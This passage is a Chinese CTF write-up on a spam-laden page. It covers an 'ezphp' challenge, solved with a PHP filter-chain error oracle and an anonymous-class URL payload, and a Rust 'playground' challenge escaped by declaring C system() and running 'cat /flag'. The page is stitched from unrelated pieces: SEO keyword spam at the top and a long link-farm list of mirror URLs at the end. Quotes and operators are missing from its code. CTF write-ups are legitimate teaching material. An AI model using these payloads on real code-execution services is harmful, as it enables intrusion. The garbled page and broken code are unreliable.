淘宝客网站制作视频教程,如何销售做网站,一建十大网校排名,做书评的网站目录
ezphp
playground 时间原因只打了2个小时#xff0c;出了2道#xff0c;简单记录一下
ezphp 参考文章
PHP filter chains: file read from error-based oracle
https://github.com/synacktiv/php_filter_chains_oracle_exploit
用上面的脚本爆出部分源码#xff…目录
ezphp
playground 时间原因只打了2个小时出了2道简单记录一下
ezphp 参考文章
PHP filter chains: file read from error-based oracle
https://github.com/synacktiv/php_filter_chains_oracle_exploit
用上面的脚本爆出部分源码直接/flag.php?ezphpPhp1访问 创建了一个匿名类
参考文章
php匿名类 - Hi! 阿金
最终payload:
/flag.php?ezphpPhp8classanonymous%00/var/www/html/flag.php:7$0 本地通了远程一直not found重开靶机后一样的payload直接打出来了 playground
进题是一段rust代码
重点关注post的/rust_code这个路由
#[post(/rust_code, data code)]
fn run_rust_code(code: String) - String{if code.contains(std) {return Error: std is not allowed.to_string();}//generate a random 5 length file namelet file_name rand::thread_rng().sample_iter(rand::distributions::Alphanumeric).take(5).map(char::from).collect::String();if let Ok(mut file) File::create(format!(playground/{}.rs, file_name)) {file.write_all(code.as_bytes());}if let Ok(build_output) Command::new(rustc).arg(format!(playground/{}.rs,file_name)).arg(-C).arg(debuginfo0).arg(-C).arg(opt-level3).arg(-o).arg(format!(playground/{},file_name)).output() {if !build_output.status.success(){fs::remove_file(format!(playground/{}.rs,file_name));return String::from_utf8_lossy(build_output.stderr.as_slice()).to_string();}}fs::remove_file(format!(playground/{}.rs,file_name));if let Ok(output) Command::new(format!(playground/{},file_name)).output() {if !output.status.success(){fs::remove_file(format!(playground/{},file_name));return String::from_utf8_lossy(output.stderr.as_slice()).to_string();} else{fs::remove_file(format!(playground/{},file_name));return String::from_utf8_lossy(output.stdout.as_slice()).to_string();}}return String::default();} 首先函数检查输入的代码是否包含了std如果包含则返回一个错误消息表示不允许使用标准库std。 然后函数生成一个随机的长度为5的文件名该文件名用于存储接收到的Rust代码。 接着函数尝试创建一个名为playground/{}.rs的文件其中{}会被随机生成的文件名所替代并将接收到的代码写入文件中。 接下来函数使用Command::new(rustc)创建一个Rust编译器的命令该命令编译刚刚创建的Rust源代码文件并传入了一些编译选项例如关闭调试信息和设置优化级别。 如果编译成功则继续执行下一步否则删除刚创建的Rust源代码文件并返回编译器输出的错误消息。 如果编译成功函数继续使用Command::new(format!(playground/{}, file_name))创建一个命令该命令运行刚刚编译生成的可执行文件。 如果运行成功则返回程序的标准输出结果否则删除生成的可执行文件并返回程序的标准错误输出结果。 最后无论是编译失败还是运行失败都会删除生成的Rust源代码文件并返回一个空字符串。 payload:
extern C{fn system(cmd: *const u8) - i32;
}
fn main(){unsafe{system(cat /flag.as_ptr());}
}
直接放请求体里即可
文章转载自: http://www.morning.cjqqj.cn.gov.cn.cjqqj.cn http://www.morning.clpdm.cn.gov.cn.clpdm.cn http://www.morning.mjxgs.cn.gov.cn.mjxgs.cn http://www.morning.eshixi.com.gov.cn.eshixi.com http://www.morning.rfgc.cn.gov.cn.rfgc.cn http://www.morning.nkbfc.cn.gov.cn.nkbfc.cn http://www.morning.drcnf.cn.gov.cn.drcnf.cn http://www.morning.npkrm.cn.gov.cn.npkrm.cn http://www.morning.zrjzc.cn.gov.cn.zrjzc.cn http://www.morning.rkjz.cn.gov.cn.rkjz.cn http://www.morning.fbbpj.cn.gov.cn.fbbpj.cn http://www.morning.qbfwb.cn.gov.cn.qbfwb.cn http://www.morning.bfgpn.cn.gov.cn.bfgpn.cn http://www.morning.jpmcb.cn.gov.cn.jpmcb.cn http://www.morning.rnnq.cn.gov.cn.rnnq.cn http://www.morning.gynlc.cn.gov.cn.gynlc.cn http://www.morning.fndmk.cn.gov.cn.fndmk.cn http://www.morning.jpkhn.cn.gov.cn.jpkhn.cn http://www.morning.kmlmf.cn.gov.cn.kmlmf.cn http://www.morning.bnygf.cn.gov.cn.bnygf.cn http://www.morning.hsksm.cn.gov.cn.hsksm.cn http://www.morning.duckgpt.cn.gov.cn.duckgpt.cn http://www.morning.cbndj.cn.gov.cn.cbndj.cn http://www.morning.zlnkq.cn.gov.cn.zlnkq.cn http://www.morning.qmmfr.cn.gov.cn.qmmfr.cn http://www.morning.deupp.com.gov.cn.deupp.com http://www.morning.gagapp.cn.gov.cn.gagapp.cn http://www.morning.hqwcd.cn.gov.cn.hqwcd.cn http://www.morning.yjprj.cn.gov.cn.yjprj.cn http://www.morning.ylpwc.cn.gov.cn.ylpwc.cn http://www.morning.smwlr.cn.gov.cn.smwlr.cn http://www.morning.wqnc.cn.gov.cn.wqnc.cn http://www.morning.jsrnf.cn.gov.cn.jsrnf.cn http://www.morning.mmhyx.cn.gov.cn.mmhyx.cn http://www.morning.xcyhy.cn.gov.cn.xcyhy.cn http://www.morning.mkkcr.cn.gov.cn.mkkcr.cn http://www.morning.mbqyl.cn.gov.cn.mbqyl.cn http://www.morning.xnflx.cn.gov.cn.xnflx.cn http://www.morning.kzrbd.cn.gov.cn.kzrbd.cn http://www.morning.xptkl.cn.gov.cn.xptkl.cn http://www.morning.hgtr.cn.gov.cn.hgtr.cn http://www.morning.dyfmh.cn.gov.cn.dyfmh.cn http://www.morning.pdtjj.cn.gov.cn.pdtjj.cn http://www.morning.xmnlc.cn.gov.cn.xmnlc.cn http://www.morning.kjrp.cn.gov.cn.kjrp.cn http://www.morning.hjrjr.cn.gov.cn.hjrjr.cn http://www.morning.mnbgx.cn.gov.cn.mnbgx.cn http://www.morning.gzxnj.cn.gov.cn.gzxnj.cn http://www.morning.niukaji.com.gov.cn.niukaji.com http://www.morning.ttdbr.cn.gov.cn.ttdbr.cn http://www.morning.qbjrf.cn.gov.cn.qbjrf.cn http://www.morning.qwmsq.cn.gov.cn.qwmsq.cn http://www.morning.hbfqm.cn.gov.cn.hbfqm.cn http://www.morning.fbzyc.cn.gov.cn.fbzyc.cn http://www.morning.jngdh.cn.gov.cn.jngdh.cn http://www.morning.lwlnw.cn.gov.cn.lwlnw.cn http://www.morning.mnwmj.cn.gov.cn.mnwmj.cn http://www.morning.wgtr.cn.gov.cn.wgtr.cn http://www.morning.nzsx.cn.gov.cn.nzsx.cn http://www.morning.wdpt.cn.gov.cn.wdpt.cn http://www.morning.yrck.cn.gov.cn.yrck.cn http://www.morning.lnckq.cn.gov.cn.lnckq.cn http://www.morning.wsyst.cn.gov.cn.wsyst.cn http://www.morning.tnhg.cn.gov.cn.tnhg.cn http://www.morning.ygrdb.cn.gov.cn.ygrdb.cn http://www.morning.wjjxr.cn.gov.cn.wjjxr.cn http://www.morning.jphxt.cn.gov.cn.jphxt.cn http://www.morning.szzxqc.com.gov.cn.szzxqc.com http://www.morning.ltpmy.cn.gov.cn.ltpmy.cn http://www.morning.crkhd.cn.gov.cn.crkhd.cn http://www.morning.bncrx.cn.gov.cn.bncrx.cn http://www.morning.wsrcy.cn.gov.cn.wsrcy.cn http://www.morning.krxzl.cn.gov.cn.krxzl.cn http://www.morning.wjplr.cn.gov.cn.wjplr.cn http://www.morning.ywtbk.cn.gov.cn.ywtbk.cn http://www.morning.nkpls.cn.gov.cn.nkpls.cn http://www.morning.ttkns.cn.gov.cn.ttkns.cn http://www.morning.tnwgc.cn.gov.cn.tnwgc.cn http://www.morning.xfmzk.cn.gov.cn.xfmzk.cn http://www.morning.zzhqs.cn.gov.cn.zzhqs.cn